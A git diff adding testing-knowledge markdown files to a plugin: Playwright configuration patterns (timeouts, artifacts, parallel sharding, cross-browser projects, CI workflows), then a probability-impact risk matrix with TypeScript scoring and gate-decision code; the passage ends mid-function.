+    // Navigation timeout: 30 seconds (page.goto, page.reload)
+    navigationTimeout: 30000,
+  },
+
+  // Expect timeout: 10 seconds (all assertions)
+  expect: {
+    timeout: 10000,
+  },
+});
+```
+
+```typescript
+// playwright/support/fixtures/timeout-fixture.ts - Timeout override fixture
+import { test as base } from '@playwright/test';
+
+type TimeoutOptions = {
+  extendedTimeout: (timeoutMs: number) => Promise<void>;
+};
+
+export const test = base.extend<TimeoutOptions>({
+  extendedTimeout: async ({}, use, testInfo) => {
+    const originalTimeout = testInfo.timeout;
+
+    await use(async (timeoutMs: number) => {
+      testInfo.setTimeout(timeoutMs);
+    });
+
+    // Restore original timeout after test
+    testInfo.setTimeout(originalTimeout);
+  },
+});
+
+export { expect } from '@playwright/test';
+```
+
+```typescript
+// Usage in tests - Standard timeouts (implicit)
+import { test, expect } from '@playwright/test';
+
+test('user can log in', async ({ page }) => {
+  await page.goto('/login'); // Uses 30s navigation timeout
+  await page.fill('[data-testid="email"]', 'test@example.com'); // Uses 15s action timeout
+  await page.click('[data-testid="login-button"]'); // Uses 15s action timeout
+
+  await expect(page.getByText('Welcome')).toBeVisible(); // Uses 10s expect timeout
+});
+```
+
+```typescript
+// Usage in tests - Per-test timeout override
+import { test, expect } from '../support/fixtures/timeout-fixture';
+
+test('slow data processing operation', async ({ page, extendedTimeout }) => {
+  // Override default 60s timeout for this slow test
+  await extendedTimeout(180000); // 3 minutes
+
+  await page.goto('/data-processing');
+  await page.click('[data-testid="process-large-file"]');
+
+  // Wait for long-running operation
+  await expect(page.getByText('Processing complete')).toBeVisible({
+    timeout: 120000, // 2 minutes for assertion
+  });
+});
+```
+
+```typescript
+// Per-assertion timeout override (inline)
+test('API returns quickly', async ({ page }) => {
+  await page.goto('/dashboard');
+
+  // Override expect timeout for fast API (reduce flakiness detection)
+  await expect(page.getByTestId('user-name')).toBeVisible({ timeout: 5000 }); // 5s instead of 10s
+
+  // Override expect timeout for slow external API
+  await expect(page.getByTestId('weather-widget')).toBeVisible({ timeout: 20000 }); // 20s instead of 10s
+});
+```
+
+**Key Points**:
+
+- **Standardized timeouts**: action 15s, navigation 30s, expect 10s, test 60s (global defaults)
+- Fixture-based override (`extendedTimeout`) for slow tests (preferred over inline)
+- Per-assertion timeout override via `{ timeout: X }` option (use sparingly)
+- Avoid hard waits (`page.waitForTimeout(3000)`) - use event-based waits instead
+- CI environments may need longer timeouts (handle in environment-specific config)
+
+### Example 3: Artifact Output Configuration
+
+**Context**: When debugging failures in CI, configure artifacts (screenshots, videos, traces, HTML reports) to be captured on failure and stored in consistent locations for upload.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Artifact configuration
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  // Output directory for test artifacts
+  outputDir: path.resolve(__dirname, './test-results'),
+
+  use: {
+    // Screenshot on failure only (saves space)
+    screenshot: 'only-on-failure',
+
+    // Video recording on failure + retry
+    video: 'retain-on-failure',
+
+    // Keep failed attempts and retries for flake analysis
+    trace: 'retain-on-failure-and-retries',
+  },
+
+  reporter: [
+    // HTML report (visual, interactive)
+    [
+      'html',
+      {
+        outputFolder: 'playwright-report',
+        open: 'never', // Don't auto-open in CI
+      },
+    ],
+
+    // JUnit XML (CI integration)
+    [
+      'junit',
+      {
+        outputFile: 'test-results/results.xml',
+      },
+    ],
+
+    // List reporter (console output)
+    ['list'],
+  ],
+});
+```
+
+```typescript
+// playwright/support/fixtures/artifact-fixture.ts - Custom artifact capture
+import { test as base } from '@playwright/test';
+import fs from 'fs';
+import path from 'path';
+
+export const test = base.extend({
+  // Auto-capture console logs on failure
+  page: async ({ page }, use, testInfo) => {
+    const logs: string[] = [];
+
+    page.on('console', (msg) => {
+      logs.push(`[${msg.type()}] ${msg.text()}`);
+    });
+
+    await use(page);
+
+    // Save logs on failure
+    if (testInfo.status !== testInfo.expectedStatus) {
+      const logsPath = path.join(testInfo.outputDir, 'console-logs.txt');
+      fs.writeFileSync(logsPath, logs.join('\n'));
+      testInfo.attachments.push({
+        name: 'console-logs',
+        contentType: 'text/plain',
+        path: logsPath,
+      });
+    }
+  },
+});
+```
+
+```yaml
+# .github/workflows/e2e.yml - CI artifact upload
+name: E2E Tests
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests
+        run: npm run test
+        env:
+          TEST_ENV: staging
+
+      # Upload test artifacts on failure
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results
+          path: test-results/
+          retention-days: 30
+
+      - name: Upload Playwright report
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: playwright-report
+          path: playwright-report/
+          retention-days: 30
+```
+
+```typescript
+// Example: Custom screenshot on specific condition
+test('capture screenshot on specific error', async ({ page }) => {
+  await page.goto('/checkout');
+
+  try {
+    await page.click('[data-testid="submit-payment"]');
+    await expect(page.getByText('Order Confirmed')).toBeVisible();
+  } catch (error) {
+    // Capture custom screenshot with timestamp
+    await page.screenshot({
+      path: `test-results/payment-error-${Date.now()}.png`,
+      fullPage: true,
+    });
+    throw error;
+  }
+});
+```
+
+**Key Points**:
+
+- `screenshot: 'only-on-failure'` saves space (not every test)
+- `video: 'retain-on-failure'` captures full flow on failures
+- `trace: 'retain-on-failure-and-retries'` keeps enough history to compare failing retries against passing runs
+- `webServer.wait` is better than startup sleeps when local servers print readiness to stdout/stderr
+- HTML report at `playwright-report/` (visual debugging)
+- JUnit XML at `test-results/results.xml` (CI integration)
+- CI uploads artifacts on failure with 30-day retention
+- Custom fixture can capture console logs, network logs, etc.
+
+### Example 4: Parallelization Configuration
+
+**Context**: When tests run slowly in CI, configure parallelization with worker count, sharding, and fully parallel execution to maximize speed while maintaining stability.
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Parallelization settings
+import { defineConfig } from '@playwright/test';
+import os from 'os';
+
+export default defineConfig({
+  // Run tests in parallel within single file
+  fullyParallel: true,
+
+  // Worker configuration
+  workers: process.env.CI
+    ? 1 // Serial in CI for stability (or 2 for faster CI)
+    : os.cpus().length - 1, // Parallel locally (leave 1 CPU for OS)
+
+  // Prevent accidentally committed .only() from blocking CI
+  forbidOnly: !!process.env.CI,
+
+  // Retry failed tests in CI
+  retries: process.env.CI ? 2 : 0,
+
+  // Shard configuration (split tests across multiple machines)
+  shard:
+    process.env.SHARD_INDEX && process.env.SHARD_TOTAL
+      ? {
+          current: parseInt(process.env.SHARD_INDEX, 10),
+          total: parseInt(process.env.SHARD_TOTAL, 10),
+        }
+      : undefined,
+});
+```
+
+```yaml
+# .github/workflows/e2e-parallel.yml - Sharded CI execution
+name: E2E Tests (Parallel)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        shard: [1, 2, 3, 4] # Split tests across 4 machines
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+        with:
+          node-version-file: '.nvmrc'
+
+      - name: Install dependencies
+        run: npm ci
+
+      - name: Install Playwright browsers
+        run: npx playwright install --with-deps
+
+      - name: Run tests (shard ${{ matrix.shard }})
+        run: npm run test
+        env:
+          SHARD_INDEX: ${{ matrix.shard }}
+          SHARD_TOTAL: 4
+          TEST_ENV: staging
+
+      - name: Upload test results
+        if: failure()
+        uses: actions/upload-artifact@v4
+        with:
+          name: test-results-shard-${{ matrix.shard }}
+          path: test-results/
+```
+
+```typescript
+// playwright/config/serial.config.ts - Serial execution for flaky tests
+import { defineConfig } from '@playwright/test';
+import { baseConfig } from './base.config';
+
+export default defineConfig({
+  ...baseConfig,
+
+  // Disable parallel execution
+  fullyParallel: false,
+  workers: 1,
+
+  // Used for: authentication flows, database-dependent tests, feature flag tests
+});
+```
+
+```typescript
+// Usage: Force serial execution for specific tests
+import { test } from '@playwright/test';
+
+// Serial execution for auth tests (shared session state)
+test.describe.configure({ mode: 'serial' });
+
+test.describe('Authentication Flow', () => {
+  test('user can log in', async ({ page }) => {
+    // First test in serial block
+  });
+
+  test('user can access dashboard', async ({ page }) => {
+    // Depends on previous test (serial)
+  });
+});
+```
+
+```typescript
+// Usage: Parallel execution for independent tests (default)
+import { test } from '@playwright/test';
+
+test.describe('Product Catalog', () => {
+  test('can view product 1', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+
+  test('can view product 2', async ({ page }) => {
+    // Runs in parallel with other tests
+  });
+});
+```
+
+**Key Points**:
+
+- `fullyParallel: true` enables parallel execution within single test file
+- Workers: 1 in CI (stability), N-1 CPUs locally (speed)
+- Sharding splits tests across multiple CI machines (4x faster with 4 shards)
+- `test.describe.configure({ mode: 'serial' })` for dependent tests
+- `forbidOnly: true` in CI prevents `.only()` from blocking pipeline
+- Matrix strategy in CI runs shards concurrently
+
+### Example 5: Project Configuration
+
+**Context**: When testing across multiple browsers, devices, or configurations, use Playwright projects to run the same tests against different environments (chromium, firefox, webkit, mobile).
+
+**Implementation**:
+
+```typescript
+// playwright.config.ts - Multiple browser projects
+import { defineConfig, devices } from '@playwright/test';
+
+export default defineConfig({
+  projects: [
+    // Desktop browsers
+    {
+      name: 'chromium',
+      use: { ...devices['Desktop Chrome'] },
+    },
+    {
+      name: 'firefox',
+      use: { ...devices['Desktop Firefox'] },
+    },
+    {
+      name: 'webkit',
+      use: { ...devices['Desktop Safari'] },
+    },
+
+    // Mobile browsers
+    {
+      name: 'mobile-chrome',
+      use: { ...devices['Pixel 5'] },
+    },
+    {
+      name: 'mobile-safari',
+      use: { ...devices['iPhone 13'] },
+    },
+
+    // Tablet
+    {
+      name: 'tablet',
+      use: { ...devices['iPad Pro'] },
+    },
+  ],
+});
+```
+
+```typescript
+// playwright.config.ts - Authenticated vs. unauthenticated projects
+import { defineConfig } from '@playwright/test';
+import path from 'path';
+
+export default defineConfig({
+  projects: [
+    // Setup project (runs first, creates auth state)
+    {
+      name: 'setup',
+      testMatch: /global-setup\.ts/,
+    },
+
+    // Authenticated tests (reuse auth state)
+    {
+      name: 'authenticated',
+      dependencies: ['setup'],
+      use: {
+        storageState: path.resolve(__dirname, './playwright/.auth/user.json'),
+      },
+      testMatch: /.*authenticated\.spec\.ts/,
+    },
+
+    // Unauthenticated tests (public pages)
+    {
+      name: 'unauthenticated',
+      testMatch: /.*unauthenticated\.spec\.ts/,
+    },
+  ],
+});
+```
+
+```typescript
+// playwright/support/global-setup.ts - Setup project for auth
+import { chromium, FullConfig } from '@playwright/test';
+import path from 'path';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+
+  // Perform authentication
+  await page.goto('http://localhost:3000/login');
+  await page.fill('[data-testid="email"]', 'test@example.com');
+  await page.fill('[data-testid="password"]', 'password123');
+  await page.click('[data-testid="login-button"]');
+
+  // Wait for authentication to complete
+  await page.waitForURL('**/dashboard');
+
+  // Save authentication state
+  await page.context().storageState({
+    path: path.resolve(__dirname, '../.auth/user.json'),
+  });
+
+  await browser.close();
+}
+
+export default globalSetup;
+```
+
+```bash
+# Run specific project
+npx playwright test --project=chromium
+npx playwright test --project=mobile-chrome
+npx playwright test --project=authenticated
+
+# Run multiple projects
+npx playwright test --project=chromium --project=firefox
+
+# Run all projects (default)
+npx playwright test
+```
+
+```typescript
+// Usage: Project-specific test
+import { test, expect } from '@playwright/test';
+
+test('mobile navigation works', async ({ page, isMobile }) => {
+  await page.goto('/');
+
+  if (isMobile) {
+    // Open mobile menu
+    await page.click('[data-testid="hamburger-menu"]');
+  }
+
+  await page.click('[data-testid="products-link"]');
+  await expect(page).toHaveURL(/.*products/);
+});
+```
+
+```yaml
+# .github/workflows/e2e-cross-browser.yml - CI cross-browser testing
+name: E2E Tests (Cross-Browser)
+on: [push, pull_request]
+
+jobs:
+  test:
+    runs-on: ubuntu-latest
+    strategy:
+      fail-fast: false
+      matrix:
+        project: [chromium, firefox, webkit, mobile-chrome]
+    steps:
+      - uses: actions/checkout@v4
+      - uses: actions/setup-node@v4
+      - run: npm ci
+      - run: npx playwright install --with-deps
+
+      - name: Run tests (${{ matrix.project }})
+        run: npx playwright test --project=${{ matrix.project }}
+```
+
+**Key Points**:
+
+- Projects enable testing across browsers, devices, and configurations
+- `devices` from `@playwright/test` provide preset configurations (Pixel 5, iPhone 13, etc.)
+- `dependencies` ensures setup project runs first (auth, data seeding)
+- `storageState` shares authentication across tests (0 seconds auth per test)
+- `testMatch` filters which tests run in which project
+- CI matrix strategy runs projects in parallel (4x faster with 4 projects)
+- `isMobile` context property for conditional logic in tests
+
+## Integration Points
+
+- **Used in workflows**: `*framework` (config setup), `*ci` (parallelization, artifact upload)
+- **Related fragments**:
+  - `fixture-architecture.md` - Fixture-based timeout overrides
+  - `ci-burn-in.md` - CI pipeline artifact upload
+  - `test-quality.md` - Timeout standards (no hard waits)
+  - `data-factories.md` - Per-test isolation (no shared global state)
+
+## Configuration Checklist
+
+**Before deploying tests, verify**:
+
+- [ ] Environment config map with fail-fast validation
+- [ ] Standardized timeouts (action 15s, navigation 30s, expect 10s, test 60s)
+- [ ] Artifact storage at `test-results/` and `playwright-report/`
+- [ ] HTML + JUnit reporters configured
+- [ ] `.env.example`, `.nvmrc`, browser versions committed
+- [ ] Parallelization configured (workers, sharding)
+- [ ] Projects defined for cross-browser/device testing (if needed)
+- [ ] CI uploads artifacts on failure with 30-day retention
+
+_Source: Playwright book repo, enterprise configuration example, Murat testing philosophy (lines 216-271)._
diff --git a/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/probability-impact.md b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/probability-impact.md
new file mode 100644
index 0000000..f287934
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-nfr/resources/knowledge/probability-impact.md
@@ -0,0 +1,601 @@
+# Probability and Impact Scale
+
+## Principle
+
+Risk scoring uses a **probability × impact** matrix (1-9 scale) to prioritize testing efforts. Higher scores (6-9) demand immediate action; lower scores (1-3) require documentation only. This systematic approach ensures testing resources focus on the highest-value risks.
+
+## Rationale
+
+**The Problem**: Without quantifiable risk assessment, teams over-test low-value scenarios while missing critical risks. Gut feeling leads to inconsistent prioritization and missed edge cases.
+
+**The Solution**: Standardize risk evaluation with a 3×3 matrix (probability: 1-3, impact: 1-3). Multiply to derive risk score (1-9). Automate classification (DOCUMENT, MONITOR, MITIGATE, BLOCK) based on thresholds. This approach surfaces hidden risks early and justifies testing decisions to stakeholders.
+
+**Why This Matters**:
+
+- Consistent risk language across product, engineering, and QA
+- Objective prioritization of test scenarios (not politics)
+- Automatic gate decisions (score=9 → FAIL until resolved)
+- Audit trail for compliance and retrospectives
+
+## Pattern Examples
+
+### Example 1: Probability-Impact Matrix Implementation (Automated Classification)
+
+**Context**: Implement a reusable risk scoring system with automatic threshold classification
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-matrix.ts
+
+/**
+ * Probability levels:
+ * 1 = Unlikely (standard implementation, low uncertainty)
+ * 2 = Possible (edge cases or partial unknowns)
+ * 3 = Likely (known issues, new integrations, high ambiguity)
+ */
+export type Probability = 1 | 2 | 3;
+
+/**
+ * Impact levels:
+ * 1 = Minor (cosmetic issues or easy workarounds)
+ * 2 = Degraded (partial feature loss or manual workaround)
+ * 3 = Critical (blockers, data/security/regulatory exposure)
+ */
+export type Impact = 1 | 2 | 3;
+
+/**
+ * Risk score (probability × impact): 1-9
+ */
+export type RiskScore = 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9;
+
+/**
+ * Action categories based on risk score thresholds
+ */
+export type RiskAction = 'DOCUMENT' | 'MONITOR' | 'MITIGATE' | 'BLOCK';
+
+export type RiskAssessment = {
+  probability: Probability;
+  impact: Impact;
+  score: RiskScore;
+  action: RiskAction;
+  reasoning: string;
+};
+
+/**
+ * Calculate risk score: probability × impact
+ */
+export function calculateRiskScore(probability: Probability, impact: Impact): RiskScore {
+  return (probability * impact) as RiskScore;
+}
+
+/**
+ * Classify risk action based on score thresholds:
+ * - 1-3: DOCUMENT (awareness only)
+ * - 4-5: MONITOR (watch closely, plan mitigations)
+ * - 6-8: MITIGATE (CONCERNS at gate until mitigated)
+ * - 9: BLOCK (automatic FAIL until resolved or waived)
+ */
+export function classifyRiskAction(score: RiskScore): RiskAction {
+  if (score >= 9) return 'BLOCK';
+  if (score >= 6) return 'MITIGATE';
+  if (score >= 4) return 'MONITOR';
+  return 'DOCUMENT';
+}
+
+/**
+ * Full risk assessment with automatic classification
+ */
+export function assessRisk(params: { probability: Probability; impact: Impact; reasoning: string }): RiskAssessment {
+  const { probability, impact, reasoning } = params;
+
+  const score = calculateRiskScore(probability, impact);
+  const action = classifyRiskAction(score);
+
+  return { probability, impact, score, action, reasoning };
+}
+
+/**
+ * Generate risk matrix visualization (3x3 grid)
+ * Returns markdown table with color-coded scores
+ */
+export function generateRiskMatrix(): string {
+  const matrix: string[][] = [];
+  const header = ['Impact \\ Probability', 'Unlikely (1)', 'Possible (2)', 'Likely (3)'];
+  matrix.push(header);
+
+  const impactLabels = ['Critical (3)', 'Degraded (2)', 'Minor (1)'];
+  for (let impact = 3; impact >= 1; impact--) {
+    const row = [impactLabels[3 - impact]];
+    for (let probability = 1; probability <= 3; probability++) {
+      const score = calculateRiskScore(probability as Probability, impact as Impact);
+      const action = classifyRiskAction(score);
+      const emoji = action === 'BLOCK' ? '🔴' : action === 'MITIGATE' ? '🟠' : action === 'MONITOR' ? '🟡' : '🟢';
+      row.push(`${emoji} ${score}`);
+    }
+    matrix.push(row);
+  }
+
+  return matrix.map((row) => `| ${row.join(' | ')} |`).join('\n');
+}
+```
+
+**Key Points**:
+
+- Type-safe probability/impact (1-3 enforced at compile time)
+- Automatic action classification (DOCUMENT, MONITOR, MITIGATE, BLOCK)
+- Visual matrix generation for documentation
+- Risk score formula: `probability * impact` (max = 9)
+- Threshold-based decision rules (6-8 = MITIGATE, 9 = BLOCK)
+
+---
+
+### Example 2: Risk Assessment Workflow (Test Planning Integration)
+
+**Context**: Apply risk matrix during test design to prioritize scenarios
+
+**Implementation**:
+
+```typescript
+// tests/e2e/test-planning/risk-assessment.ts
+import { assessRisk, generateRiskMatrix, type RiskAssessment } from '../../../src/testing/risk-matrix';
+
+export type TestScenario = {
+  id: string;
+  title: string;
+  feature: string;
+  risk: RiskAssessment;
+  testLevel: 'E2E' | 'API' | 'Unit';
+  priority: 'P0' | 'P1' | 'P2' | 'P3';
+  owner: string;
+};
+
+/**
+ * Assess test scenarios and auto-assign priority based on risk score
+ */
+export function assessTestScenarios(scenarios: Omit<TestScenario, 'risk' | 'priority'>[]): TestScenario[] {
+  return scenarios.map((scenario) => {
+    // Auto-assign priority based on risk score
+    const priority = mapRiskToPriority(scenario.risk.score);
+    return { ...scenario, priority };
+  });
+}
+
+/**
+ * Map risk score to test priority (P0-P3)
+ * P0: Critical (score 9) - blocks release
+ * P1: High (score 6-8) - must fix before release
+ * P2: Medium (score 4-5) - fix if time permits
+ * P3: Low (score 1-3) - document and defer
+ */
+function mapRiskToPriority(score: number): 'P0' | 'P1' | 'P2' | 'P3' {
+  if (score === 9) return 'P0';
+  if (score >= 6) return 'P1';
+  if (score >= 4) return 'P2';
+  return 'P3';
+}
+
+/**
+ * Example: Payment flow risk assessment
+ */
+export const paymentScenarios: Array<Omit<TestScenario, 'priority'>> = [
+  {
+    id: 'PAY-001',
+    title: 'Valid credit card payment completes successfully',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 2, // Possible (standard Stripe integration)
+      impact: 3, // Critical (revenue loss if broken)
+      reasoning: 'Core revenue flow, but Stripe is well-tested',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-002',
+    title: 'Expired credit card shows user-friendly error',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 3, // Likely (edge case handling often buggy)
+      impact: 2, // Degraded (users see error, but can retry)
+      reasoning: 'Error handling logic is custom and complex',
+    }),
+    testLevel: 'E2E',
+    owner: 'qa-team',
+  },
+  {
+    id: 'PAY-003',
+    title: 'Payment confirmation email formatting is correct',
+    feature: 'Email',
+    risk: assessRisk({
+      probability: 2, // Possible (template changes occasionally break)
+      impact: 1, // Minor (cosmetic issue, email still sent)
+      reasoning: 'Non-blocking, users get email regardless',
+    }),
+    testLevel: 'Unit',
+    owner: 'dev-team',
+  },
+  {
+    id: 'PAY-004',
+    title: 'Payment fails gracefully when Stripe is down',
+    feature: 'Checkout',
+    risk: assessRisk({
+      probability: 1, // Unlikely (Stripe has 99.99% uptime)
+      impact: 3, // Critical (complete checkout failure)
+      reasoning: 'Rare but catastrophic, requires retry mechanism',
+    }),
+    testLevel: 'API',
+    owner: 'qa-team',
+  },
+];
+
+/**
+ * Generate risk assessment report with priority distribution
+ */
+export function generateRiskReport(scenarios: TestScenario[]): string {
+  const priorityCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.priority] = (acc[s.priority] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  const actionCounts = scenarios.reduce(
+    (acc, s) => {
+      acc[s.risk.action] = (acc[s.risk.action] || 0) + 1;
+      return acc;
+    },
+    {} as Record<string, number>,
+  );
+
+  return `
+# Risk Assessment Report
+
+## Risk Matrix
+${generateRiskMatrix()}
+
+## Priority Distribution
+- **P0 (Blocker)**: ${priorityCounts.P0 || 0} scenarios
+- **P1 (High)**: ${priorityCounts.P1 || 0} scenarios
+- **P2 (Medium)**: ${priorityCounts.P2 || 0} scenarios
+- **P3 (Low)**: ${priorityCounts.P3 || 0} scenarios
+
+## Action Required
+- **BLOCK**: ${actionCounts.BLOCK || 0} scenarios (auto-fail gate)
+- **MITIGATE**: ${actionCounts.MITIGATE || 0} scenarios (concerns at gate)
+- **MONITOR**: ${actionCounts.MONITOR || 0} scenarios (watch closely)
+- **DOCUMENT**: ${actionCounts.DOCUMENT || 0} scenarios (awareness only)
+
+## Scenarios by Risk Score (Highest First)
+${scenarios
+  .sort((a, b) => b.risk.score - a.risk.score)
+  .map((s) => `- **[${s.priority}]** ${s.id}: ${s.title} (Score: ${s.risk.score} - ${s.risk.action})`)
+  .join('\n')}
+`.trim();
+}
+```
+
+**Key Points**:
+
+- Risk score → Priority mapping (P0-P3 automated)
+- Report generation with priority/action distribution
+- Scenarios sorted by risk score (highest first)
+- Visual matrix included in reports
+- Reusable across projects (extract to shared library)
+
+---
+
+### Example 3: Dynamic Risk Re-Assessment (Continuous Evaluation)
+
+**Context**: Recalculate risk scores as project evolves (requirements change, mitigations implemented)
+
+**Implementation**:
+
+```typescript
+// src/testing/risk-tracking.ts
+import { type RiskAssessment, assessRisk, type Probability, type Impact } from './risk-matrix';
+
+export type RiskHistory = {
+  timestamp: Date;
+  assessment: RiskAssessment;
+  changedBy: string;
+  reason: string;
+};
+
+export type TrackedRisk = {
+  id: string;
+  title: string;
+  feature: string;
+  currentRisk: RiskAssessment;
+  history: RiskHistory[];
+  mitigations: string[];
+  status: 'OPEN' | 'MITIGATED' | 'WAIVED' | 'RESOLVED';
+};
+
+export class RiskTracker {
+  private risks: Map<string, TrackedRisk> = new Map();
+
+  /**
+   * Add new risk to tracker
+   */
+  addRisk(params: {
+    id: string;
+    title: string;
+    feature: string;
+    probability: Probability;
+    impact: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk {
+    const { id, title, feature, probability, impact, reasoning, changedBy } = params;
+
+    const assessment = assessRisk({ probability, impact, reasoning });
+
+    const risk: TrackedRisk = {
+      id,
+      title,
+      feature,
+      currentRisk: assessment,
+      history: [
+        {
+          timestamp: new Date(),
+          assessment,
+          changedBy,
+          reason: 'Initial assessment',
+        },
+      ],
+      mitigations: [],
+      status: 'OPEN',
+    };
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Reassess risk (probability or impact changed)
+   */
+  reassessRisk(params: {
+    id: string;
+    probability?: Probability;
+    impact?: Impact;
+    reasoning: string;
+    changedBy: string;
+  }): TrackedRisk | null {
+    const { id, probability, impact, reasoning, changedBy } = params;
+    const risk = this.risks.get(id);
+    if (!risk) return null;
+
+    // Use existing values if not provided
+    const newProbability = probability ?? risk.currentRisk.probability;
+    const newImpact = impact ?? risk.currentRisk.impact;
+
+    const newAssessment = assessRisk({
+      probability: newProbability,
+      impact: newImpact,
+      reasoning,
+    });
+
+    risk.currentRisk = newAssessment;
+    risk.history.push({
+      timestamp: new Date(),
+      assessment: newAssessment,
+      changedBy,
+      reason: reasoning,
+    });
+
+    this.risks.set(id, risk);
+    return risk;
+  }
+
+  /**
+   * Mark risk as mitigated (probability reduced)
+   */
+  mitigateRisk(params: { id: string; newProbability: Probability; mitigation: string; changedBy: string }): TrackedRisk | null {
+    const { id, newProbability, mitigation, changedBy } = params;
+    const risk = this.reassessRisk({
+      id,
+      probability: newProbability,
+      reasoning: `Mitigation implemented: ${mitigation}`,
+      changedBy,
+    });
+
+    if (risk) {
+      risk.mitigations.push(mitigation);
+      if (risk.currentRisk.action === 'DOCUMENT' || risk.currentRisk.action === 'MONITOR') {
+        risk.status = 'MITIGATED';
+      }
+    }
+
+    return risk;
+  }
+
+  /**
+   * Get risks requiring action (MITIGATE or BLOCK)
+   */
+  getRisksRequiringAction(): TrackedRisk[] {
+    return Array.from(this.risks.values()).filter(
+      (r) => r.status === 'OPEN' && (r.currentRisk.action === 'MITIGATE' || r.currentRisk.action === 'BLOCK'),
+    );
+  }
+
+  /**
+   * Generate risk trend report (show changes over time)
+   */
+  generateTrendReport(riskId: string): string | null {
+    const risk = this.risks.get(riskId);
+    if (!risk) return null;
+
+    return `
+# Risk Trend Report: ${risk.id}
+
+**Title**: ${risk.title}
+**Feature**: ${risk.feature}
+**Status**: ${risk.status}
+
+## Current Assessment
+- **Probability**: ${risk.currentRisk.probability}
+- **Impact**: ${risk.currentRisk.impact}
+- **Score**: ${risk.currentRisk.score}
+- **Action**: ${risk.currentRisk.action}
+- **Reasoning**: ${risk.currentRisk.reasoning}
+
+## Mitigations Applied
+${risk.mitigations.length > 0 ? risk.mitigations.map((m) => `- ${m}`).join('\n') : '- None'}
+
+## History (${risk.history.length} changes)
+${risk.history
+  .reverse()
+  .map((h) => `- **${h.timestamp.toISOString()}** by ${h.changedBy}: Score ${h.assessment.score} (${h.assessment.action}) - ${h.reason}`)
+  .join('\n')}
+`.trim();
+  }
+}
+```
+
+**Key Points**:
+
+- Historical tracking (audit trail for risk changes)
+- Mitigation impact tracking (probability reduction)
+- Status lifecycle (OPEN → MITIGATED → RESOLVED)
+- Trend reports (show risk evolution over time)
+- Re-assessment triggers (requirements change, new info)
+
+---
+
+### Example 4: Risk Matrix in Gate Decision (Integration with Trace Workflow)
+
+**Context**: Use probability-impact scores to drive gate decisions (PASS/CONCERNS/FAIL/WAIVED)
+
+**Implementation**:
+
+```typescript
+// src/testing/gate-decision.ts
+import { type RiskScore, classifyRiskAction, type RiskAction } from './risk-matrix';
+import { type TrackedRisk } from './risk-tracking';
+
+export type GateDecision = 'PASS' | 'CONCERNS' | 'FAIL' | 'WAIVED';
+
+export type GateResult = {
+  decision: GateDecision;
+  blockers: TrackedRisk[]; // Score=9, action=BLOCK
+  concerns: TrackedRisk[]; // Score 6-8, action=MITIGATE
+  monitored: TrackedRisk[]; // Score 4-5, action=MONITOR
+  documented: TrackedRisk[]; // Score 1-3, action=DOCUMENT
+  summary: string;
+};
+
+/**
+ * Evaluate gate based on risk assessments
+ */
+export function evaluateGateFromRisks(risks: TrackedRisk[]): GateResult {
+  const blockers = risks.filter((r) => r.currentRisk.action === 'BLOCK' && r.status === 'OPEN');
+  const concerns = risks.filter((r) => r.currentRisk.action === 'MITIGATE' && r.status === 'OPEN');
+  const monitored = risks.filter((r) => r.currentRisk.action === 'MONITOR');
+  const documented = risks.filter((r) => r.currentRisk.action === 'DOCUMENT');
+
+  let decision: GateDecision;
+
+  if (blockers.length > 0) {
+    decision = 'FAIL';
+  } else if (concerns.length > 0) {
+    decision = 'CONCERNS';
+  } else {
+    decision = 'PASS';
+  }
+
+  const summary = generateGateSummary({ decision, blockers, concerns, monitored, documented });
+
+  return { decision, blockers, concerns, monitored, documented, summary };
+}
+
+/**
+ * Generate gate decision summary
+ */
+function generateGateSummary(result: Omit<GateResult, 'summary'>): string {
+  const { decision, blockers, concerns, monitored, documented } = result;
+
+  const lines: string[] = [`## Gate Decision: ${decision}`];
+
+  if (decision === 'FAIL') {
+    lines.push(`\n**Blockers** (${blockers.length}): Automatic FAIL until resolved or waived`);
+    blockers.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Probability: ${r.currentRisk.probability}, Impact: ${r.currentRisk.impact}`);
+      lines.push(`  - Reasoning: ${r.currentRisk.reasoning}`);
+    });
+  }
+
+  if (concerns.length > 0) {
+    lines.push(`\n**Concerns** (${concerns.length}): Address before release`);
+    concerns.forEach((r) => {
+      lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`);
+      lines.push(`  - Mitigations: ${r.mitigations.join(', ') || 'None'}`);
+    });
+  }
+
+  if (monitored.length > 0) {
+    lines.push(`\n**Monitored** (${monitored.length}): Watch closely`);
+    monitored.forEach((r) => lines.push(`- **${r.id}**: ${r.title} (Score: ${r.currentRisk.score})`));
+  }
+
+  if (documented.length > 0) {
+    lines.push(`\n**Documented** (${documented.length}): Awareness only`);
+  }
+
+  lines.push(`\n---\n`);
+  lines.push(`**Next Steps**:`);
